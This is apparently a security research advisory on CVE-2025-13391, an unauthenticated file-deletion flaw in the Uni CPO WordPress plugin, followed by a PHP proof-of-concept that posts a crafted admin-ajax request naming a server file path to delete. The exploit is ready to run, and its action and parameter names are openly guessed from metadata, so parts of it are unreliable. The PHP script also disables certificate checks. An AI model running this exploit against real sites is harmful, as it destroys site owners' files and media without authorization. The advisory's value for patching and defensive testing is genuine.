Atomic Edge analysis of CVE-2025-13391 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Uni CPO (Premium) WordPress plugin, versions up to and including 4.9.60. The flaw allows unauthenticated attackers to delete arbitrary files, including WordPress media attachments and files stored in Dropbox, by exploiting the ‘uni_cpo_remove_file’ function. The CVSS score of 5.8 reflects a medium severity issue with a scope change impact.
Atomic Edge research identifies the root cause as a missing capability check on the ‘uni_cpo_remove_file’ function. This function is likely registered as a WordPress AJAX handler accessible to unauthenticated users via the ‘wp_ajax_nopriv_’ hook. The vulnerability description confirms the absence of an authorization check. The partial patch in version 4.9.60 suggests initial remediation attempts may have been incomplete or introduced a logic flaw, leaving the endpoint accessible.
Exploitation requires an attacker to send a crafted HTTP POST request to the WordPress admin AJAX endpoint. The request must specify the vulnerable AJAX action, which Atomic Edge infers is ‘uni_cpo_remove_file’ based on the function name. The payload must include a parameter, likely named ‘file_path’ or similar, containing the absolute server path or Dropbox identifier of the target file. Attackers can enumerate or guess file paths to delete critical site assets.
Effective remediation requires implementing a proper authorization check before the file deletion logic executes. The plugin must verify the current user has the appropriate capability, such as ‘manage_options’ or a custom plugin-specific capability, to perform the deletion. The fix should also validate and sanitize the user-supplied file path to prevent directory traversal. The patched version 4.9.61 presumably adds these checks.
The impact of successful exploitation is unauthorized data loss. Attackers can delete any file where the path is known, disrupting site functionality by removing media library items or linked Dropbox content. This attack does not grant code execution or data viewing, but it can cause service degradation, content removal, and require restoration from backups.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13391 - Product Options and Price Calculation Formulas for WooCommerce – Uni CPO (Premium) <= 4.9.60 - Missing Authorization to Unauthenticated Arbitrary Attachment and Dropbox File Deletion
<?php
// CONFIGURATION
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change to target site
// The vulnerable AJAX action is inferred from the function name 'uni_cpo_remove_file'.
$ajax_action = 'uni_cpo_remove_file';
// The file path parameter name is assumed; an attacker would need to discover the correct path.
$file_path_param = 'file_path';
// Example path to delete (attachments are often in wp-content/uploads/)
$file_to_delete = '/var/www/html/wp-content/uploads/2025/01/secret-document.pdf';
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
// Construct POST data with the inferred action and file path parameter.
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => $ajax_action,
$file_path_param => $file_to_delete
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Bypass SSL verification for testing environments only.
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Output results
echo "Atomic Edge PoC - CVE-2025-13391n";
echo "Target: " . $target_url . "n";
echo "Action: " . $ajax_action . "n";
echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "n";
curl_close($ch);
?>
